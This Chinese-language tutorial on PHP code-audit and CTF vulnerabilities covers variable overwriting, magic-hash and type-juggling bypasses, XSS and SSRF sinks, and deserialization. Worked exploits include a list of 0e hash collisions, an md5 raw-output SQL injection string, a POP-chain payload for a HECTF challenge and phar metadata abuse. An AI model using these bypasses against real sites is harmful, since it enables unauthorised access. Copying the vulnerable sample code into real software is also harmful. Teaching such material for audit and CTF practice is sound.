  • prefix:可選。若是 extract_rules 參數的值是 EXTR_PREFIX_SAME、EXTR_PREFIX_ALL、 EXTR_PREFIX_INVALID 或 EXTR_PREFIX_IF_EXISTS,則 prefix 是必需的。

代碼示例:

<?php
    $color = "blue";
    $one_array = array("color" => "red",
        "size"  => "medium",
        "name" => "dog");
    extract($one_array);
    echo "$color, $size, $name";
?>
    
執行結果——>
red, medium, dog

在上述代碼中,咱們看到,原本咱們定義的color是blue,輸出的時候變成了red,原本咱們沒有定義size和name,但是卻能輸出這兩個變量。

還有一些在CTF比賽中出現過的用法,好比直接讓你POST傳參來改變某個變量的值。

代碼示例:

<?php
    $name = 'cat';
    extract($_POST);
    echo $name;
?>

參時若是咱們POST傳入name=dog,那麼頁面將會回顯dog,說明這個函數的使用讓咱們實現了變量的覆蓋,改變了變量的值。

parse_str()

此函數把查詢到的字符串解析到變量中。

parse_str(string,array)

參數

  • string:必需。規定要解析的字符串。
  • array:可選。規定存儲變量的數組名稱。該參數只是變量存儲到數組中。

代碼示例:

<?php
    parse_str("name=Ameng&sex=boy",$a);
    print_r($a);
?>
    
執行結果——>
Array
(
    [name] => Ameng
    [sex] => boy
)

上述代碼是有array狀況下的使用狀況,那麼如何實現變量的覆蓋呢?若是沒有array 參數,則由該函數設置的變量將覆蓋已存在的同名變量。

代碼示例:

<?php
	$name = 'who';
    $age = '20';
    parse_str("name=Ameng&age=21");
    echo "$name, $age";
?>
執行結果——>
Ameng, 21

經過上述代碼,咱們能夠發現,變量name和age都發生了變化,被新的值覆蓋了。這裏我用的是 PHP 7.4.3 版本。發現這個函數的這個做用仍是存在的,且沒有任何危險提示。

import_request_variables()

此函數將GET/POST/Cookie變量導入到全局做用域中。從而可以達到變量覆蓋的做用。

版本要求:PHP 4 >= 4.1.0, PHP 5 < 5.4.0

bool import_request_variables ( string $types [, string $prefix ] )

參數

  • types:指定須要導入的變量,能夠用字母 G、P 和 C 分別表示 GET、POST 和 Cookie,這些字母不區分大小寫,因此你可使用 g 、 p 和 c 的任何組合。POST 包含了經過 POST 方法上傳的文件信息。注意這些字母的順序,當使用 gp 時,POST 變量將使用相同的名字覆蓋 GET 變量。
  • prefix:變量名的前綴,置於全部被導入到全局做用域的變量以前。因此若是你有個名爲 userid 的 GET 變量,同時提供了 pref_ 做爲前綴,那麼你將得到一個名爲 $pref_userid 的全局變量。雖然 prefix 參數是可選的,但若是不指定前綴,或者指定一個空字符串做爲前綴,你將得到一個 E_NOTICE 級別的錯誤。

代碼示例:

<?php
    $name = 'who';
	import_request_variables('gp');
	if($name == 'Ameng'){
		echo $name;
	}
	else{
		echo 'You are not Ameng';
	}
?>

若是什麼變量也不傳,那麼頁面將回顯You are not Ameng若是經過GET或者POST傳入name=Ameng那麼頁面就會回顯Ameng

能夠見到此函數仍是很危險的,沒有修復方法,不使用就是最好的方法。因此在新版本的 PHP 中已經廢棄了這個函數。

foreach()

foreach 語法結構提供了遍歷數組的簡單方式。foreach 僅可以應用於數組和對象,若是嘗試應用於其餘數據類型的變量,或者未初始化的變量將發出錯誤信息。有兩種語法:

foreach (array_expression as $value)
    statement
foreach (array_expression as $key => $value)
    statement

第一種格式遍歷給定的 array_expression 數組。每次循環中,當前單元的值被賦給 $value 而且數組內部的指針向前移一步(所以下一次循環中將會獲得下一個單元)。

第二種格式作一樣的事,只是除了當前單元的鍵名也會在每次循環中被賦給變量 $key。

那麼這個函數如何實現變量的覆蓋呢?咱們來看個案例.

代碼示例:

<?php
    $name = 'who';
    foreach($_GET as $key => $value)	{  
            $$key = $value;  
    }  
    if($name == "Ameng"){
        echo 'You are right!';
    }
	else{
        echo 'You are flase!';
    }
?>

那麼執行結果是怎樣的呢?當咱們直接打開頁面的時候它會輸出You are false!,而當咱們經過GET傳參name=Ameng的時候,它會回顯You are right!。那麼這是爲何呢?咱們來分析一下

關鍵點就在於$$這種寫法。這種寫法稱爲可變變量。一個變量可以獲取一個普通變量的值做爲這個可變變量的變量名。當使用foreach來遍歷數組中的值,而後再將獲取到的數組鍵名做爲變量,數組中的鍵值做爲變量的值。這樣就產生了變量覆蓋漏洞,如上代碼示例。其執行過程爲$$key=$name,最後賦值爲$value,從而實現了變量覆蓋。

弱類型比較

md5()函數和sha1()繞過

關於這兩個函數想必咱們不陌生,不管是在實際代碼審計中,仍是在CTF比賽中,這些咱們都是碰到過的函數。那麼當咱們遇到用這兩個函數來判斷的時候,若是繞過呢?

PHP 在處理哈希字符串的時候,會使用!=或者==來對哈希值進行比較,它會把每個0E開頭的哈希值都解釋爲0,那麼這個時候問題就來了,若是兩個不一樣的值,通過哈希之後它們都變成了0E開頭的哈希值,那麼 PHP 就會將它們視做相等處理。那麼0E開頭的哈希值有哪些呢?

s878926199a
0e545993274517709034328855841020
s155964671a
0e342768416822451524974117254469
s214587387a
0e848240448830537924465865611904
s214587387a
0e848240448830537924465865611904
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
s1885207154a
0e509367213418206700842008763514
s1502113478a
0e861580163291561247404381396064
s1885207154a
0e509367213418206700842008763514
s1836677006a
0e481036490867661113260034900752
s155964671a
0e342768416822451524974117254469
s1184209335a
0e072485820392773389523109082030
s1665632922a
0e731198061491163073197128363787
s1502113478a
0e861580163291561247404381396064
s1836677006a
0e481036490867661113260034900752
s1091221200a
0e940624217856561557816327384675
s155964671a
0e342768416822451524974117254469
s1502113478a
0e861580163291561247404381396064
s155964671a
0e342768416822451524974117254469
s1665632922a
0e731198061491163073197128363787
s155964671a
0e342768416822451524974117254469
s1091221200a
0e940624217856561557816327384675
s1836677006a
0e481036490867661113260034900752
s1885207154a
0e509367213418206700842008763514
s532378020a
0e220463095855511507588041205815
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
s214587387a
0e848240448830537924465865611904
s1502113478a
0e861580163291561247404381396064
s1091221200a
0e940624217856561557816327384675
s1665632922a
0e731198061491163073197128363787
s1885207154a
0e509367213418206700842008763514
s1836677006a
0e481036490867661113260034900752
s1665632922a
0e731198061491163073197128363787
s878926199a
0e545993274517709034328855841020

來個簡單的例子吧

代碼示例:

<?php
    $a = $_GET['a'];
	$b = $_GET['b'];
	if($a != $b && md5($a) == md5($b)){
        echo '這就是弱類型繞過';
    }
	else{
        echo '再思考一下';
    }
?>

從上面我給出的哪些值中,挑兩個不一樣的值傳入參數,就能看到相應的結果

上面是md5()函數的繞過姿式,那麼sha1()如何繞過呢?再來看一個簡單的例子

<?php
    $a = $_GET['a'];
	$b = $_GET['b'];
	if(isset($a,$b)){
		if(sha1($a) === sha1($b)){
			echo 'nice!!!';
		}
		else{
			echo 'Try again!';
		}
	}
?>

當咱們傳入a[]=1&b[]=2的時候,雖然它會給出警告,說咱們應該傳入字符串而不該該是數組,可是它仍是輸出了nice!!!,因此咱們徹底能夠用數字來繞過sha1()函數的比較。

is_numeric()繞過

咱們先來了解一下這個函數。此函數是檢測變量是否爲數字或者數字字符串

is_numeric( mixed $var) : bool

若是var是數字或者數字字符串那麼就返回TRUE,不然就返回FALSE。那麼這裏說的繞過是什麼姿式呢?是十六進制。咱們先來看一個簡單的例子。

代碼示例:

<?php
    $a = is_numeric('0x31206f722031');
	if($a){
        echo 'It meets my requirement';
    }
	else{
        echo 'Try again';
    }
?>
執行結果——>
It meets my requirement

這裏說一下0x31206f722031這個是什麼?這個是or 1=1的十六進制,從這裏能夠看出,若是某處使用了此函數,並將修飾後的變量帶入數據庫查詢語句中,那麼咱們就能利用此漏洞實現sql注入。一樣的,這個漏洞再CTF比賽中也是很常見的。

in_array()繞過

此函數用來檢測數組中是否存在某個值。

in_array( mixed $needle, array $haystack[, bool $strict = FALSE] ) : bool

參數

  • needle:帶搜索的值(區分大小寫)。
  • haystack:帶搜索的數組。
  • strict:若此參數的值爲TRUE,那麼in_array()函數將會檢查needle的類型是否和haystack中的類型相同。

有時候咱們再傳入一個數組的時候,代碼可能會過濾某些敏感字符串,可是咱們又須要傳入這樣的字符串,那麼咱們應該如何繞過它的檢測呢?

<?php
    $myarr = array('Ameng');
	$needle = 0;
	if(in_array($needle,$myarr)){
        echo "It's in array";
    }
	else{
        echo "not in array";
    }
?>

上面代碼示例執行的結果會是什麼呢?從簡單的邏輯上分析。0是不存在要搜索的數組中的,因此理論上,應該是輸出not in array,可是實際卻輸出了It's in array。這是爲何呢?緣由就在於PHP的默認類型轉換。這裏咱們第三個參數並無設置爲true那麼默認就是非嚴格比較,因此在數字與字符串進行比較時,字符串先被強制轉換成數字,而後再進行比較。而且由於某些類型轉換正在發生,就會致使發生數據丟失,而且都被視爲相同。因此歸根到底仍是非嚴格比較致使的問題。因此再遇到這個函數用來變量檢測的時候,咱們能夠看看第三個參數是否開啓,若未開啓,則存在數組繞過。

XSS

在這裏首先你要對XSS的基本原理要知道。PHP中一下這些函數之因此會出現XSS的漏洞狀況,主要仍是沒有對輸出的變量進行過濾。

print()

代碼示例:

<?php
	$str = $_GET['x'];
	print($str);
?>

代碼示例:

<?php
	$str = $_GET['x'];
	print_r($str);
?>

echo()

代碼示例:

<?php
	$str = $_GET['x'];
	echo "$str";
?>

咱們傳入相應參數,執行結果以下:

printf()

代碼示例:

<?php
	$str = $_GET['x'];
	printf($str);
?>

執行結果和上面相同,我就再也不貼圖片了。

sprintf()

代碼示例:

<?php
	$str = $_GET['x'];
	$a = sprintf($str);
	echo "$a";
?>

die()

此函數輸出一條信息,並退出當前腳本。

代碼示例:

<?php
	$str = $_GET['x'];
	die($str);
?>

var_dump()

此函數打印變量的相關信息,用來顯示關於一個或多個表達式的結構信息,包括表達式的類型與值。數組將遞歸展開之,經過縮進顯示其結構。

代碼示例:

<?php
	$str = $_GET['x'];
	$a = array($str);
	var_dump($a);
?>

var_export()

此函數輸出或者返回一個變量的字符串表示。它返回關於傳遞給該函數的變量的結構信息,和var_dump相似,不一樣的是其返回的表示是合法的 PHP 代碼。

代碼示例:

<?php
	$str = $_GET['x'];
	$a = array($str);
	var_export($a);
?>

PHP黑魔法

這裏大部分函數的使用已經在上面詳細介紹過了,這裏我就針對每一種函數大概介紹一下其主要存在的利用方法。

md5()

md5()函數繞過sql注入。咱們來看一個例子。

代碼示例:

$password=$_POST['password'];
$sql = "SELECT * FROM admin WHERE username = 'admin' and password = '".md5($password,true)."'";
$result=mysqli_query($link,$sql);
if(mysqli_num_rows($result)>0){
    echo 'flag is :'.$flag;
}
else{
    echo '密碼錯誤!';
}

這裏提交的參數經過md5函數處理,而後再進入SQL查詢語句,因此常規的注入手段就不行了,那麼若是md5後的轉換成字符串格式變成了'or'xxxx的格式,不就能夠注入了麼。md5(ffifdyop,32) = 276f722736c95d99e921722cf9ed621c

轉成字符串爲'or'6xxx

eval()

在執行命令時,可以使用分號構造處多條語句。相似這種。

<?php
	$cmd = "echo 'a';echo '--------------';echo 'b';";
	echo eval($cmd);
?>

ereg()

存在%00截斷,當遇到使用此函數來進行正則匹配時,咱們能夠用%00來截斷正則匹配,從而繞過正則。

strcmp()

這個在前面介紹過,就是數組繞過技巧。

curl_setopt()

存在ssrf漏洞。

代碼示例:

<?php
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $_GET['Ameng']);
    #curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
    curl_setopt($ch, CURLOPT_HEADER, 0);
    #curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS);
    curl_exec($ch);
    curl_close($ch);
?>

使用file協議進行任意文件讀取

除此以外還有dict協議查看端口信息。gopher協議反彈shell利用等。

preg_replace()

此函數前面詳細介紹過,/e模式下的命令執行。

urldecode()

url二次編碼繞過。

代碼示例:

<?php
	$name = urldecode($_GET['name']);
	if($name = "Ameng"){
		echo "Plase~";
	}
	else{
		echo "sorry";
	}
?>

將Ameng進行二次url編碼,而後傳入便可獲得知足條件。

file_get_contents()

經常使用僞協議來進行繞過。

parse_url()

此函數主要用於繞過某些過濾,先簡單瞭解一下函數的基本用法。

代碼示例:

<?php
	$url = "http://www.jlx-love.com/about";
	$parts = parse_url($url);
	print_r($parts);
?>
    
執行結果——>
Array 
    ( 
    [scheme] => http 
    [host] => www.jlx-love.com 		[path] => /about 
	)

能夠看到這個函數把咱們的變量值拆分紅一個幾個部分。那麼繞過過濾又是說的哪回事呢?其實就是當咱們在瀏覽器輸入url時,那麼就會將url中的\轉換爲/,從而就會致使parse_url的白名單繞過。

反序列化漏洞

簡介

在瞭解一些函數以前,咱們首先須要瞭解什麼是序列化和反序列化。

序列化:把對象轉換爲字節序列的過程成爲對象的序列化。

反序列化:把字節序列恢復爲對象的過程稱爲對象的反序列化。

歸根到底,就是將數據轉化成一種可逆的數據結構,逆向的過程就是反序列化。

在 PHP 中主要就是經過serializeunserialize來實現數據的序列化和反序列化。

那麼漏洞是如何造成的呢?

PHP 的反序列化漏洞主要是由於未對用戶輸入的序列化字符串進行檢測,致使攻擊者能夠控制反序列化的過程,從而就能夠致使各類危險行爲。

那麼咱們先來看一看序列化後的數據格式是怎樣的,瞭解了序列化後的數據,咱們才能更好的理解和利用漏洞。因此咱們來構造一段序列化的值。

代碼示例:

<?php
    class Ameng{
    public $who = "Ameng";
	}
	$a = serialize(new Ameng);
	echo $a;
?>
執行結果——>
O:5:"Ameng":1:{s:3:"who";s:5:"Ameng";}

這裏還要補充一點,就是關於變量的分類,變量的類別有三種:

  • public:正常操做,在反序列化時原型就行。
  • protected:反序列化時在變量名前加上%00*%00。
  • private:反序列化時在變量名前加上%00類名%00。

序列化咱們知道了是個什麼格式,那麼如何利用反序列化來觸發漏洞進行利用呢?

__wakeup()

在咱們反序列化時,會先檢查類中是否存在__wakeup()若是存在,則執行。可是若是對象屬性個數的值大於真實的屬性個數時就會跳過__wakeup()執行__destruct()

影響版本:

PHP5 < 5.6.25

PHP7 < 7.0.10

代碼示例:

<?php
	header("Content-Type: text/html; charset=utf-8");
    class Ameng{ 
        public $name='1.php'; 

        function __destruct(){ 
            echo "destruct執行<br>";

            echo highlight_file($this->name, true); 
        } 
         

        function __wakeup(){ 
            echo "wakeup執行<br>";
            $this->name='1.php'; 
        } 
    }
	$data = 'O:5:"Ameng":2:{s:4:"name";s:5:"2.php";}';
	unserialize($data);
?>

執行結果:

__sleep()

__sleep()函數恰好與__waeup()相反,前者是在序列化一個對象時被調用,後者是在反序列化時被調用。那麼該如何利用呢?咱們看看代碼。

<?php
	header("Content-Type: text/html; charset=utf-8");
    class Ameng{ 
        public $name='1.php'; 
		
		public function __construct($name){
        $this->name=$name;
    }
		
		function __sleep(){
			echo "sleep()執行<br>";
			echo highlight_file($this->name, true);
		}
		
		function __destruct(){
			echo "over<br>";
		}
		
        function __wakeup(){ 
            echo "wakeup執行<br>";         
        } 
    }
	$a = new Ameng("2.php");
	$b = serialize($a);
?>

執行結果:

__destruct()

這個函數的做用其實在上面的例子中已經顯示了,就是在對象被銷燬時調用,假若這個函數中有命令執行之類的功能,咱們徹底能夠利用這一點來進行漏洞的利用,獲得本身想要的結果。

__construct()

這個函數的做用在__sleep()也是體現了的,這個函數就是在一個對象被建立時會調用這個函數,好比我在__sleep()中用這個函數來對變量進行賦值。

__call()

此函數用來監視一個對象中的其餘方法。當你嘗試調用一個對象中不存在的或者被權限控制的方法,那麼__call就會被自動調用

代碼示例:

<?php
	header("Content-Type: text/html; charset=utf-8");
    class Ameng{  
		
		public function __call($name,$args){
			echo "<br>"."call執行失敗";
		}
		
		public static function __callStatic($name,$args){
			echo "<br>"."callStatic執行失敗";
		}
    }
	$a = new Ameng;
	$a->b();
	Ameng::b();
?>

執行結果:

__callStatic()

這個方法是 PHP5.3 增長的新方法。主要是調用不可見的靜態方法時會自動調用。具體使用在上面代碼示例和結果可見。那麼這兩個函數有什麼值得咱們關注的呢?想想,假若這兩個函數中有命令執行的函數,那麼咱們調用對象中不存在方法時就能夠調用這兩個函數,這不就達到咱們想要的目的了。

__get()

通常來講,咱們老是把類的屬性定義爲private。但有時候咱們對屬性的讀取和賦值是很是頻繁,這個時候PHP就提供了兩個函數來獲取和賦值類中的屬性。

get方法用來獲取私有成員屬性的值。

代碼示例:

//__get()方法用來獲取私有屬性
public function __get($name){
return $this->$name;
}

參數

  • $name:要獲取成員屬性的名稱。

__set()

此方法用來給私有成員屬性賦值。

代碼示例:

//__set()方法用來設置私有屬性
public function __set($name,$value){
$this->$name = $value;
}

參數

  • $name:要賦值的屬性名。
  • $value:給屬性賦值的值。

__isset()

這個函數是當咱們對不可訪問屬性調用isset()或者empty()時調用。

在這以前咱們要先了解一下isset()函數的使用。isset()函數檢測某個變量是否被設置了。因此這個時候問題就來了,若是咱們使用這個函數去檢測對象裏面的成員是否設定,那麼會發生什麼呢?

若對象的成員是公有成員,那沒什麼問題。假若對象的成員是私有成員,那這個函數就不行了,人家根本就不容許你訪問,你咋能檢測人家是否設定了呢?那咱們該怎麼辦?這個時候咱們能夠在類裏面加上__isset()方法,接下來就可使用isset()在對象外面訪問對象裏面的私有成員了。

代碼示例:

<?php
	header("Content-Type: text/html; charset=utf-8");
    class Ameng{  
		private $name;
		
		public function __construct($name=""){
			$this->name = $name;
		}
		
		public function __isset($content){
			echo "當在類外面調用isset方法時,那麼我就會執行!"."<br>";
			echo isset($this->$content);
		}
    }
	$ameng = new Ameng("Ameng");
	echo isset($ameng->name);
?>

執行結果:

__unset()

這個方法基本和__insset狀況一致,都是在類外訪問類內私有成員時要調用這個函數,基本調用的方法和上面一致。

代碼示例:

<?php
	header("Content-Type: text/html; charset=utf-8");
    class Ameng{  
		private $name;
		
		public function __construct($name=""){
			$this->name = $name;
		}
		
		public function __unset($content){
			echo "當在類外面調用unset方法時,那麼我就會執行!"."<br>";
			echo isset($this->$content);
		}
    }
	$ameng = new Ameng("Ameng");
	unset($ameng->name);
?>

執行結果:

toString()

此函數是將一個對象看成一個字符串來使用時,就會自動調用該方法,且在該方法中,能夠返回必定的字符串,來表示該對象轉換爲字符串以後的結果。

一般狀況下,咱們訪問類的屬性的時候都是$實例化名稱->屬性名這樣的格式去訪問,可是咱們不能直接echo去輸出對象,但是當咱們使用__tostring()就能夠直接用echo來輸出了。

代碼示例:

<?php
    header("Content-Type: text/html; charset=utf-8");
	class Ameng{
        public $name;
        private $age;
        function __construct($name,$age){
            $this->name = $name;
            $this->age = $age;
        }
        public function __toString(){
            return $this->name . $this->age . '歲了';
        }
    }
	$ameng = new Ameng('Ameng',3);
	echo $ameng;
?>

執行結果:

Ameng3歲了

__invoke()

當嘗試以調用函數的方式調用一個對象時,__invoke()方法會被自動調用。

版本要求:

PHP > 5.3.0

代碼示例:

<?php
    header("Content-Type: text/html; charset=utf-8");
	class Ameng{
        public $name;
        private $age;
        function __construct($name,$age){
            $this->name = $name;
            $this->age = $age;
        }
        public function __invoke(){
           echo '你用調用函數的方式調用了這個對象,因此我起做用了';
        }
    }
	$ameng = new Ameng('Ameng',3);
	$ameng();
?>
執行結果——>
你用調用函數的方式調用了這個對象,因此我起做用

pop鏈的構造

思路

  1. 尋找位點(unserialize函數—>變量可控)
  2. 正向構造(各類方法)
  3. 反向推理(從要完成的目的出發,反向推理,最後找到最早被調用的位置處)

來看一個簡單的例子(HECTF):

<?php
class Read {
    public $var;
    public $token;
    public $token_flag;
    public function __construct() { 
         $this->token_flag = $this->token = md5(rand(1,10000));
         $this->token =&$this->token_flag;
    }
    public function __invoke(){
        $this->token_flag = md5(rand(1,10000));
        
        if($this->token === $this->token_flag)
        {
            echo "flag{**********}";
        }
    }
}
class Show
{
    public $source;
    public $str;
    public function __construct()
    {
        echo $this->source."<br>";
    }

    public function __toString()
    {
        $this->str['str']->source;
    }
    public function __wakeup()
    {
        if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
            echo "hacker~";
            $this->source = "index.php";
        }
    }
}

class Test
{
    public $params;
    public function __construct()
    {
        $this->params = array();
    }

    public function __get($key)
    {
        $func = $this->params;
        return $func();
    }
}
if(isset($_GET['chal']))
{
    $chal = unserialize($_GET['chal']);
}

咱們要拿到flag,在__invoke()函數,當對象被看成函數調用時,那麼就會自動執行該函數。因此咱們要作的就是用函數來調用對象。

那麼咱們首先找到起點,就是unserialize函數的變量,由於這個變量是咱們可控的,可是確定是過濾了一些常見的協議,那些協議我在上面也簡單介紹過用法。

經過函數的過程搜索,咱們可以看到preg_match第二個參數會被看成字符串處理,在類Test中,咱們能夠給$func賦值給Read對象。

那麼咱們能夠構造以下pop鏈

<?php 
    ··········
    $read = new Read();
    $show = new Show();
    $test = new Test();
	
	$read->token = &$read->token_flag;
    $test->params = $read;
    $show->str['str'] = $test;
    $show->source = $show;
    echo serialize($show);
?>

給個圖總結一下:

phar與反序列化

簡介

PHAR("PHP archive")是PHP裏相似JAR的一種打包文件,在PHP > 5.3版本中默認開啓。其實就是用來打包程序的。

文件結構

  1. a stub:xxx<?php xxx;__HALT_COMPILER();?>前面內容不限,後面必須以__HALT_COMPILER();?>結尾,不然phar擴展沒法將該文件識別爲phar文件。

  2. 官方手冊

    phar文件本質上是一種壓縮文件,其中每一個被壓縮文件的權限、屬性等信息都放在這部分。這部分還會以序列化的形式存儲用戶自定義的meta-data,這是上述攻擊手法最核心的地方。

實驗

前提:將php.ini中的phar.readonly選項設置爲off,否則沒法生成phar文件。

phar.php:
<?php
    class TestObject {
    }
    $phar = new Phar("phar.phar"); //後綴名必須爲phar
    $phar->startBuffering();
    $phar->setStub("<?php __HALT_COMPILER(); ?>"); //設置stub
    $o = new TestObject();
    $o -> data='Hello I am Ameng';
    $phar->setMetadata($o); //將自定義的meta-data存入manifest
    $phar->addFromString("test.txt", "test"); //添加要壓縮的文件
    //簽名自動計算
    $phar->stopBuffering();
?>

在咱們訪問以後,會在當前目錄下生成一個phar.phar文件,以下圖所示。

而後查看文件的十六進制形式,咱們就能夠看到meta-data是以序列化的形式存儲。既然存在序列化的數據,那確定有序列化的逆向操做反序列化。那麼這裏在PHP中存在不少經過phar://僞協議解析phar文件時,會將meta-data進行反序列化。可用函數以下圖

Ameng.php
<?php
class TestObject{
    function __destruct()
    {
        echo $this -> data;   // TODO: Implement __destruct() method.
    }
}
include('phar://phar.phar');
?>

執行結果:

這裏簡單介紹一下phar的大體應用,更詳細能夠參考seebug

其餘一些總結

basename()

此函數返回路徑中的文件名的一部分(後面)

basename(path,suffix)

參數

  • path:必需。規定要檢查的路徑。
  • suffix:可選。規定文件的擴展名。

代碼示例:

<?php
    $path = "index.php/test.php";
	echo basename($path);
?>
        
執行結果——>
test.php

此函數還有一個特色,就是會去掉文件名的非ASCII碼值。

代碼示例:

<?php
	$path = $_GET['x'];
	print_r(basename($path));
?>

咱們經過 url 傳入參數x=index.php/config.php/%ff

結果以下:

咱們看到,%ff直接沒了,而是直接輸出前面的的文件名,這個能夠用來繞過一些正則匹配。緣由就在於%ff在經過 url 傳參時會被 url 解碼,解碼成了不可見字符,知足了basename函數對文件名的非ASCII值去除的特色,從而被刪掉。

相關文章
相關標籤/搜索